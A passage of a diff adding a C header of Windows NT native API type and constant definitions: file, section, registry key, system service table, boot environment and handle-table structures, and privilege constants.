0x00004000 +#define FILE_NO_COMPRESSION 0x00008000 + +#define FILE_RESERVE_OPFILTER 0x00100000 +#define FILE_OPEN_REPARSE_POINT 0x00200000 +#define FILE_OPEN_NO_RECALL 0x00400000 +#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 + + +#define FILE_COPY_STRUCTURED_STORAGE 0x00000041 +#define FILE_STRUCTURED_STORAGE 0x00000441 + +#define FILE_VALID_OPTION_FLAGS 0x00ffffff +#define FILE_VALID_PIPE_OPTION_FLAGS 0x00000032 +#define FILE_VALID_MAILSLOT_OPTION_FLAGS 0x00000032 +#define FILE_VALID_SET_FLAGS 0x00000036 + +typedef enum _FILE_INFORMATION_CLASS { + FileDirectoryInformation = 1, + FileFullDirectoryInformation, + FileBothDirectoryInformation, + FileBasicInformation, + FileStandardInformation, + FileInternalInformation, + FileEaInformation, + FileAccessInformation, + FileNameInformation, + FileRenameInformation, + FileLinkInformation, + FileNamesInformation, + FileDispositionInformation, + FilePositionInformation, + FileFullEaInformation, + FileModeInformation, + FileAlignmentInformation, + FileAllInformation, + FileAllocationInformation, + FileEndOfFileInformation, + FileAlternateNameInformation, + FileStreamInformation, + FilePipeInformation, + FilePipeLocalInformation, + FilePipeRemoteInformation, + FileMailslotQueryInformation, + FileMailslotSetInformation, + FileCompressionInformation, + FileObjectIdInformation, + FileCompletionInformation, + FileMoveClusterInformation, + FileQuotaInformation, + FileReparsePointInformation, + FileNetworkOpenInformation, + FileAttributeTagInformation, + FileTrackingInformation, + FileIdBothDirectoryInformation, + FileIdFullDirectoryInformation, + FileValidDataLengthInformation, + FileShortNameInformation, + FileIoCompletionNotificationInformation, + FileIoStatusBlockRangeInformation, + FileIoPriorityHintInformation, + FileSfioReserveInformation, + FileSfioVolumeInformation, + FileHardLinkInformation, + FileProcessIdsUsingFileInformation, + FileNormalizedNameInformation, + FileNetworkPhysicalNameInformation, + FileIdGlobalTxDirectoryInformation, + FileIsRemoteDeviceInformation, + FileUnusedInformation, + FileNumaNodeInformation, + FileStandardLinkInformation, + FileRemoteProtocolInformation, + FileRenameInformationBypassAccessCheck, + FileLinkInformationBypassAccessCheck, + FileVolumeNameInformation, + FileIdInformation, + FileIdExtdDirectoryInformation, + FileReplaceCompletionInformation, + FileHardLinkFullIdInformation, + FileIdExtdBothDirectoryInformation, + FileDispositionInformationEx, + FileRenameInformationEx, + FileRenameInformationExBypassAccessCheck, + FileDesiredStorageClassInformation, + FileStatInformation, + FileMemoryPartitionInformation, + FileStatLxInformation, + FileCaseSensitiveInformation, + FileLinkInformationEx, + FileLinkInformationExBypassAccessCheck, + FileStorageReserveIdInformation, + FileCaseSensitiveInformationForceAccessCheck, + FileMaximumInformation +} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; + +typedef enum _FSINFOCLASS { + FileFsVolumeInformation = 1, + FileFsLabelInformation, + FileFsSizeInformation, + FileFsDeviceInformation, + FileFsAttributeInformation, + FileFsControlInformation, + FileFsFullSizeInformation, + FileFsObjectIdInformation, + FileFsDriverPathInformation, + FileFsVolumeFlagsInformation, + FileFsSectorSizeInformation, + FileFsDataCopyInformation, + FileFsMetadataSizeInformation, + FileFsFullSizeInformationEx, + FileFsMaximumInformation +} FS_INFORMATION_CLASS, *PFS_INFORMATION_CLASS; + +typedef struct _FILE_BASIC_INFORMATION { + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + ULONG FileAttributes; +} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; + +typedef struct _FILE_STANDARD_INFORMATION { + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG NumberOfLinks; + UCHAR DeletePending; + UCHAR Directory; +} FILE_STANDARD_INFORMATION; + +typedef struct _FILE_STANDARD_INFORMATION_EX { + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG NumberOfLinks; + BOOLEAN DeletePending; + BOOLEAN Directory; + BOOLEAN AlternateStream; + BOOLEAN MetadataAttribute; +} FILE_STANDARD_INFORMATION_EX, *PFILE_STANDARD_INFORMATION_EX; + +typedef struct _FILE_INTERNAL_INFORMATION { + LARGE_INTEGER IndexNumber; +} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION; + +typedef struct _FILE_EA_INFORMATION { + ULONG EaSize; +} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION; + +typedef struct _FILE_ACCESS_INFORMATION { + ACCESS_MASK AccessFlags; +} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION; + +typedef struct _FILE_POSITION_INFORMATION { + LARGE_INTEGER CurrentByteOffset; +} FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION; + +typedef struct _FILE_MODE_INFORMATION { + ULONG Mode; +} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION; + +typedef struct _FILE_ALIGNMENT_INFORMATION { + ULONG AlignmentRequirement; +} FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION; + +typedef struct _FILE_NAME_INFORMATION { + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION; + +typedef struct _FILE_ALL_INFORMATION { + FILE_BASIC_INFORMATION BasicInformation; + FILE_STANDARD_INFORMATION StandardInformation; + FILE_INTERNAL_INFORMATION InternalInformation; + FILE_EA_INFORMATION EaInformation; + FILE_ACCESS_INFORMATION AccessInformation; + FILE_POSITION_INFORMATION PositionInformation; + FILE_MODE_INFORMATION ModeInformation; + FILE_ALIGNMENT_INFORMATION AlignmentInformation; + FILE_NAME_INFORMATION NameInformation; +} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION; + +typedef struct _FILE_NETWORK_OPEN_INFORMATION { + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG FileAttributes; +} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; + +typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION { + ULONG FileAttributes; + ULONG ReparseTag; +} FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION; + +typedef struct _FILE_ALLOCATION_INFORMATION { + LARGE_INTEGER AllocationSize; +} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION; + +typedef struct _FILE_COMPRESSION_INFORMATION { + LARGE_INTEGER CompressedFileSize; + USHORT CompressionFormat; + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved[3]; +} FILE_COMPRESSION_INFORMATION, *PFILE_COMPRESSION_INFORMATION; + +typedef struct _FILE_DISPOSITION_INFORMATION { + BOOLEAN DeleteFile; +} FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION; + +typedef struct _FILE_END_OF_FILE_INFORMATION { + LARGE_INTEGER EndOfFile; +} FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION; + +typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION { + LARGE_INTEGER ValidDataLength; +} FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION; + +typedef struct _FILE_LINK_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION; + +typedef struct _FILE_MOVE_CLUSTER_INFORMATION { + ULONG ClusterCount; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_MOVE_CLUSTER_INFORMATION, *PFILE_MOVE_CLUSTER_INFORMATION; + +typedef struct _FILE_RENAME_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION; + +typedef struct _FILE_STREAM_INFORMATION { + ULONG NextEntryOffset; + ULONG StreamNameLength; + LARGE_INTEGER StreamSize; + LARGE_INTEGER StreamAllocationSize; + WCHAR StreamName[1]; +} FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION; + +typedef struct _FILE_TRACKING_INFORMATION { + HANDLE DestinationFile; + ULONG ObjectInformationLength; + CHAR ObjectInformation[1]; +} FILE_TRACKING_INFORMATION, *PFILE_TRACKING_INFORMATION; + +typedef struct _FILE_COMPLETION_INFORMATION { + HANDLE Port; + PVOID Key; +} FILE_COMPLETION_INFORMATION, *PFILE_COMPLETION_INFORMATION; + +// +// Define the NamedPipeType flags for NtCreateNamedPipeFile +// + +#define FILE_PIPE_BYTE_STREAM_TYPE 0x00000000 +#define FILE_PIPE_MESSAGE_TYPE 0x00000001 + +// +// Define the CompletionMode flags for NtCreateNamedPipeFile +// + +#define FILE_PIPE_QUEUE_OPERATION 0x00000000 +#define FILE_PIPE_COMPLETE_OPERATION 0x00000001 + +// +// Define the ReadMode flags for NtCreateNamedPipeFile +// + +#define FILE_PIPE_BYTE_STREAM_MODE 0x00000000 +#define FILE_PIPE_MESSAGE_MODE 0x00000001 + +// +// Define the NamedPipeConfiguration flags for NtQueryInformation +// + +#define FILE_PIPE_INBOUND 0x00000000 +#define FILE_PIPE_OUTBOUND 0x00000001 +#define FILE_PIPE_FULL_DUPLEX 0x00000002 + +// +// Define the NamedPipeState flags for NtQueryInformation +// + +#define FILE_PIPE_DISCONNECTED_STATE 0x00000001 +#define FILE_PIPE_LISTENING_STATE 0x00000002 +#define FILE_PIPE_CONNECTED_STATE 0x00000003 +#define FILE_PIPE_CLOSING_STATE 0x00000004 + +// +// Define the NamedPipeEnd flags for NtQueryInformation +// + +#define FILE_PIPE_CLIENT_END 0x00000000 +#define FILE_PIPE_SERVER_END 0x00000001 + + +typedef struct _FILE_PIPE_INFORMATION { + ULONG ReadMode; + ULONG CompletionMode; +} FILE_PIPE_INFORMATION, *PFILE_PIPE_INFORMATION; + +typedef struct _FILE_PIPE_LOCAL_INFORMATION { + ULONG NamedPipeType; + ULONG NamedPipeConfiguration; + ULONG MaximumInstances; + ULONG CurrentInstances; + ULONG InboundQuota; + ULONG ReadDataAvailable; + ULONG OutboundQuota; + ULONG WriteQuotaAvailable; + ULONG NamedPipeState; + ULONG NamedPipeEnd; +} FILE_PIPE_LOCAL_INFORMATION, *PFILE_PIPE_LOCAL_INFORMATION; + +typedef struct _FILE_PIPE_REMOTE_INFORMATION { + LARGE_INTEGER CollectDataTime; + ULONG MaximumCollectionCount; +} FILE_PIPE_REMOTE_INFORMATION, *PFILE_PIPE_REMOTE_INFORMATION; + +typedef struct _FILE_MAILSLOT_QUERY_INFORMATION { + ULONG MaximumMessageSize; + ULONG MailslotQuota; + ULONG NextMessageSize; + ULONG MessagesAvailable; + LARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_QUERY_INFORMATION, *PFILE_MAILSLOT_QUERY_INFORMATION; + +typedef struct _FILE_MAILSLOT_SET_INFORMATION { + PLARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_SET_INFORMATION, *PFILE_MAILSLOT_SET_INFORMATION; + +typedef struct _FILE_REPARSE_POINT_INFORMATION { + LONGLONG FileReference; + ULONG Tag; +} FILE_REPARSE_POINT_INFORMATION, *PFILE_REPARSE_POINT_INFORMATION; + +typedef struct _FILE_LINK_ENTRY_INFORMATION { + ULONG NextEntryOffset; + LONGLONG ParentFileId; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_ENTRY_INFORMATION, *PFILE_LINK_ENTRY_INFORMATION; + +typedef struct _FILE_LINKS_INFORMATION { + ULONG BytesNeeded; + ULONG EntriesReturned; + FILE_LINK_ENTRY_INFORMATION Entry; +} FILE_LINKS_INFORMATION, *PFILE_LINKS_INFORMATION; + +typedef struct _FILE_NETWORK_PHYSICAL_NAME_INFORMATION { + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NETWORK_PHYSICAL_NAME_INFORMATION, *PFILE_NETWORK_PHYSICAL_NAME_INFORMATION; + +typedef struct _FILE_STANDARD_LINK_INFORMATION { + ULONG NumberOfAccessibleLinks; + ULONG TotalNumberOfLinks; + BOOLEAN DeletePending; + BOOLEAN Directory; +} FILE_STANDARD_LINK_INFORMATION, *PFILE_STANDARD_LINK_INFORMATION; + +typedef struct _FILE_SFIO_RESERVE_INFORMATION { + ULONG RequestsPerPeriod; + ULONG Period; + BOOLEAN RetryFailures; + BOOLEAN Discardable; + ULONG RequestSize; + ULONG NumOutstandingRequests; +} FILE_SFIO_RESERVE_INFORMATION, *PFILE_SFIO_RESERVE_INFORMATION; + +typedef struct _FILE_SFIO_VOLUME_INFORMATION { + ULONG MaximumRequestsPerPeriod; + ULONG MinimumPeriod; + ULONG MinimumTransferSize; +} FILE_SFIO_VOLUME_INFORMATION, *PFILE_SFIO_VOLUME_INFORMATION; + +// +// Define the flags for NtSet(Query)EaFile service structure entries +// + +#define FILE_NEED_EA 0x00000080 + +// +// Define EA type values +// + +#define FILE_EA_TYPE_BINARY 0xfffe +#define FILE_EA_TYPE_ASCII 0xfffd +#define FILE_EA_TYPE_BITMAP 0xfffb +#define FILE_EA_TYPE_METAFILE 0xfffa +#define FILE_EA_TYPE_ICON 0xfff9 +#define FILE_EA_TYPE_EA 0xffee +#define FILE_EA_TYPE_MVMT 0xffdf +#define FILE_EA_TYPE_MVST 0xffde +#define FILE_EA_TYPE_ASN1 0xffdd +#define FILE_EA_TYPE_FAMILY_IDS 0xff01 + +typedef struct _FILE_FULL_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR Flags; + UCHAR EaNameLength; + USHORT EaValueLength; + CHAR EaName[1]; +} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; + +typedef struct _FILE_GET_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR EaNameLength; + CHAR EaName[1]; +} FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION; + +typedef struct _FILE_GET_QUOTA_INFORMATION { + ULONG NextEntryOffset; + ULONG SidLength; + SID Sid; +} FILE_GET_QUOTA_INFORMATION, *PFILE_GET_QUOTA_INFORMATION; + +typedef struct _FILE_QUOTA_INFORMATION { + ULONG NextEntryOffset; + ULONG SidLength; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER QuotaUsed; + LARGE_INTEGER QuotaThreshold; + LARGE_INTEGER QuotaLimit; + SID Sid; +} FILE_QUOTA_INFORMATION, *PFILE_QUOTA_INFORMATION; + +typedef struct _FILE_DIRECTORY_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; + +typedef struct _FILE_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + WCHAR FileName[1]; +} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION; + +typedef struct _FILE_ID_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION; + +typedef struct _FILE_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + WCHAR FileName[1]; +} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; + +typedef struct _FILE_ID_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; + +typedef struct _FILE_NAMES_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION; + +typedef struct _FILE_OBJECTID_INFORMATION { + LONGLONG FileReference; + UCHAR ObjectId[16]; + union { + struct { + UCHAR BirthVolumeId[16]; + UCHAR BirthObjectId[16]; + UCHAR DomainId[16]; + }; + UCHAR ExtendedInfo[48]; + }; +} FILE_OBJECTID_INFORMATION, *PFILE_OBJECTID_INFORMATION; + +typedef struct _FILE_FS_VOLUME_INFORMATION { + LARGE_INTEGER VolumeCreationTime; + ULONG VolumeSerialNumber; + ULONG VolumeLabelLength; + BOOLEAN SupportsObjects; + WCHAR VolumeLabel[1]; +} FILE_FS_VOLUME_INFORMATION, *PFILE_FS_VOLUME_INFORMATION; + +typedef struct _FILE_ID_GLOBAL_TX_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + LARGE_INTEGER FileId; + GUID LockingTransactionId; + ULONG TxInfoFlags; + WCHAR FileName[1]; +} FILE_ID_GLOBAL_TX_DIR_INFORMATION, *PFILE_ID_GLOBAL_TX_DIR_INFORMATION; + +/* +** File END +*/ + +/* +** Section START +*/ + +typedef enum _SECTION_INFORMATION_CLASS { + SectionBasicInformation, + SectionImageInformation, + SectionRelocationInformation, + SectionOriginalBaseInformation, + SectionInternalImageInformation, + MaxSectionInfoClass +} SECTION_INFORMATION_CLASS; + +typedef struct _SECTION_BASIC_INFO { + PVOID BaseAddress; + ULONG AllocationAttributes; + LARGE_INTEGER MaximumSize; +} SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION; + +typedef struct _SECTION_IMAGE_INFORMATION { + PVOID TransferAddress; + ULONG ZeroBits; + SIZE_T MaximumStackSize; + SIZE_T CommittedStackSize; + ULONG SubSystemType; + union { + struct { + USHORT SubSystemMinorVersion; + USHORT SubSystemMajorVersion; + }; + ULONG SubSystemVersion; + }; + union + { + struct + { + USHORT MajorOperatingSystemVersion; + USHORT MinorOperatingSystemVersion; + }; + ULONG OperatingSystemVersion; + }; + USHORT ImageCharacteristics; + USHORT DllCharacteristics; + USHORT Machine; + BOOLEAN ImageContainsCode; + union + { + UCHAR ImageFlags; + struct + { + UCHAR ComPlusNativeReady : 1; + UCHAR ComPlusILOnly : 1; + UCHAR ImageDynamicallyRelocated : 1; + UCHAR ImageMappedFlat : 1; + UCHAR BaseBelow4gb : 1; + UCHAR ComPlusPrefer32bit : 1; + UCHAR Reserved : 2; + }; + }; + ULONG LoaderFlags; + ULONG ImageFileSize; + ULONG CheckSum; +} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION; + +typedef struct _SECTION_IMAGE_INFORMATION64 { + ULONGLONG TransferAddress; + ULONG ZeroBits; + ULONGLONG MaximumStackSize; + ULONGLONG CommittedStackSize; + ULONG SubSystemType; + union { + struct { + USHORT SubSystemMinorVersion; + USHORT SubSystemMajorVersion; + }; + ULONG SubSystemVersion; + }; + union + { + struct + { + USHORT MajorOperatingSystemVersion; + USHORT MinorOperatingSystemVersion; + }; + ULONG OperatingSystemVersion; + }; + USHORT ImageCharacteristics; + USHORT DllCharacteristics; + USHORT Machine; + BOOLEAN ImageContainsCode; + union + { + UCHAR ImageFlags; + struct + { + UCHAR ComPlusNativeReady : 1; + UCHAR ComPlusILOnly : 1; + UCHAR ImageDynamicallyRelocated : 1; + UCHAR ImageMappedFlat : 1; + UCHAR BaseBelow4gb : 1; + UCHAR ComPlusPrefer32bit : 1; + UCHAR Reserved : 2; + }; + }; + ULONG LoaderFlags; + ULONG ImageFileSize; + ULONG CheckSum; +} SECTION_IMAGE_INFORMATION64, *PSECTION_IMAGE_INFORMATION64; + +typedef struct _SECTION_INTERNAL_IMAGE_INFORMATION { + SECTION_IMAGE_INFORMATION SectionInformation; + union + { + ULONG ExtendedFlags; + struct + { + ULONG ImageExportSuppressionEnabled : 1; + ULONG Reserved : 31; + }; + }; +} SECTION_INTERNAL_IMAGE_INFORMATION, *PSECTION_INTERNAL_IMAGE_INFORMATION; + +typedef enum _SECTION_INHERIT { + ViewShare = 1, + ViewUnmap = 2 +} SECTION_INHERIT; + +#ifndef SEC_BASED +#define SEC_BASED 0x200000 +#endif + +#ifndef SEC_NO_IMAGE +#define SEC_NO_CHANGE 0x400000 +#endif + +#ifndef SEC_FILE +#define SEC_FILE 0x800000 +#endif + +#ifndef SEC_IMAGE +#define SEC_IMAGE 0x1000000 +#endif + +#ifndef SEC_RESERVE +#define SEC_RESERVE 0x4000000 +#endif + +#ifndef SEC_COMMIT +#define SEC_COMMIT 0x8000000 +#endif + +#ifndef SEC_NOCACHE +#define SEC_NOCACHE 0x10000000 +#endif + +#ifndef SEC_GLOBAL +#define SEC_GLOBAL 0x20000000 +#endif + +#ifndef SEC_LARGE_PAGES +#define SEC_LARGE_PAGES 0x80000000 +#endif + +/* +** Section END +*/ + +/* +** System Table START +*/ +#define NUMBER_SERVICE_TABLES 2 +#define NTOS_SERVICE_INDEX 0 +#define WIN32K_SERVICE_INDEX 1 +#define SERVICE_NUMBER_MASK ((1 << 12) - 1) + +#if defined(_WIN64) + +#if defined(_AMD64_) + +#define SERVICE_TABLE_SHIFT (12 - 4) +#define SERVICE_TABLE_MASK (((1 << 1) - 1) << 4) +#define SERVICE_TABLE_TEST (WIN32K_SERVICE_INDEX << 4) + +#else + +#define SERVICE_TABLE_SHIFT (12 - 5) +#define SERVICE_TABLE_MASK (((1 << 1) - 1) << 5) +#define SERVICE_TABLE_TEST (WIN32K_SERVICE_INDEX << 5) + +#endif + +#else + +#define SERVICE_TABLE_SHIFT (12 - 4) +#define SERVICE_TABLE_MASK (((1 << 1) - 1) << 4) +#define SERVICE_TABLE_TEST (WIN32K_SERVICE_INDEX << 4) + +#endif + +typedef struct _KSERVICE_TABLE_DESCRIPTOR { + ULONG_PTR Base; //e.g. KiServiceTable + PULONG Count; + ULONG Limit;//e.g. KiServiceLimit + PUCHAR Number; //e.g. KiArgumentTable +} KSERVICE_TABLE_DESCRIPTOR, *PKSERVICE_TABLE_DESCRIPTOR; +/* +** System Table END +*/ + +/* +** System Boot Environment START +*/ + +// Size=20 +typedef struct _SYSTEM_BOOT_ENVIRONMENT_INFORMATION_V1 { + struct _GUID BootIdentifier; + enum _FIRMWARE_TYPE FirmwareType; +} SYSTEM_BOOT_ENVIRONMENT_INFORMATION_V1, *PSYSTEM_BOOT_ENVIRONMENT_INFORMATION_V1; + +// Size=32 +typedef struct _SYSTEM_BOOT_ENVIRONMENT_INFORMATION { + struct _GUID BootIdentifier; + enum _FIRMWARE_TYPE FirmwareType; + unsigned __int64 BootFlags; +} SYSTEM_BOOT_ENVIRONMENT_INFORMATION, *PSYSTEM_BOOT_ENVIRONMENT_INFORMATION; + +/* +** System Boot Environment END +*/ + +/* +** Key START +*/ + +typedef enum _KEY_INFORMATION_CLASS { + KeyBasicInformation, + KeyNodeInformation, + KeyFullInformation, + KeyNameInformation, + KeyCachedInformation, + KeyFlagsInformation, + KeyVirtualizationInformation, + KeyHandleTagsInformation, + KeyTrustInformation, + KeyLayerInformation, + MaxKeyInfoClass +} KEY_INFORMATION_CLASS; + +typedef enum _KEY_SET_INFORMATION_CLASS { + KeyWriteTimeInformation, + KeyWow64FlagsInformation, + KeyControlFlagsInformation, + KeySetVirtualizationInformation, + KeySetDebugInformation, + KeySetHandleTagsInformation, + KeySetLayerInformation, + MaxKeySetInfoClass +} KEY_SET_INFORMATION_CLASS; + +typedef struct _KEY_FULL_INFORMATION { + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG ClassOffset; + ULONG ClassLength; + ULONG SubKeys; + ULONG MaxNameLen; + ULONG MaxClassLen; + ULONG Values; + ULONG MaxValueNameLen; + ULONG MaxValueDataLen; + WCHAR Class[1]; +} KEY_FULL_INFORMATION, *PKEY_FULL_INFORMATION; + +typedef struct _KEY_BASIC_INFORMATION { + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; +} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION; + +typedef enum _KEY_VALUE_INFORMATION_CLASS { + KeyValueBasicInformation, + KeyValueFullInformation, + KeyValuePartialInformation, + KeyValueFullInformationAlign64, + KeyValuePartialInformationAlign64, + KeyValueLayerInformation, + MaxKeyValueInfoClass +} KEY_VALUE_INFORMATION_CLASS; + +typedef struct _KEY_VALUE_BASIC_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG NameLength; + WCHAR Name[1]; // Variable size +} KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION; + +typedef struct _KEY_VALUE_FULL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataOffset; + ULONG DataLength; + ULONG NameLength; + WCHAR Name[1]; // Variable size + // Data[1]; // Variable size data not declared +} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION; + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; // Variable size +} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION; + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 { + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; // Variable size +} KEY_VALUE_PARTIAL_INFORMATION_ALIGN64, *PKEY_VALUE_PARTIAL_INFORMATION_ALIGN64; + +typedef struct _KEY_VALUE_ENTRY { + PUNICODE_STRING ValueName; + ULONG DataLength; + ULONG DataOffset; + ULONG Type; +} KEY_VALUE_ENTRY, *PKEY_VALUE_ENTRY; + +/* +** Key END +*/ + + +/* +** TIME_FIELDS START +*/ + +typedef struct _TIME_FIELDS { + CSHORT Year; // range [1601...] + CSHORT Month; // range [1..12] + CSHORT Day; // range [1..31] + CSHORT Hour; // range [0..23] + CSHORT Minute; // range [0..59] + CSHORT Second; // range [0..59] + CSHORT Milliseconds;// range [0..999] + CSHORT Weekday; // range [0..6] == [Sunday..Saturday] +} TIME_FIELDS; +typedef TIME_FIELDS *PTIME_FIELDS; + +/* +** TIME_FIELDS END +*/ + +/* +** HANDLE START +*/ + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { + USHORT UniqueProcessId; + USHORT CreatorBackTraceIndex; + UCHAR ObjectTypeIndex; + UCHAR HandleAttributes; + USHORT HandleValue; + PVOID Object; + ULONG GrantedAccess; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _SYSTEM_HANDLE_INFORMATION { + ULONG NumberOfHandles; + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; +} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX { + PVOID Object; + ULONG_PTR UniqueProcessId; + ULONG_PTR HandleValue; + ULONG GrantedAccess; + USHORT CreatorBackTraceIndex; + USHORT ObjectTypeIndex; + ULONG HandleAttributes; + ULONG Reserved; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX; + +typedef struct _SYSTEM_HANDLE_INFORMATION_EX { + ULONG_PTR NumberOfHandles; + ULONG_PTR Reserved; + SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1]; +} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX; + +/* +** HANDLE END +*/ + +// Privileges + +#define SE_MIN_WELL_KNOWN_PRIVILEGE (2L) +#define SE_CREATE_TOKEN_PRIVILEGE (2L) +#define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE (3L) +#define SE_LOCK_MEMORY_PRIVILEGE (4L) +#define SE_INCREASE_QUOTA_PRIVILEGE (5L) +#define 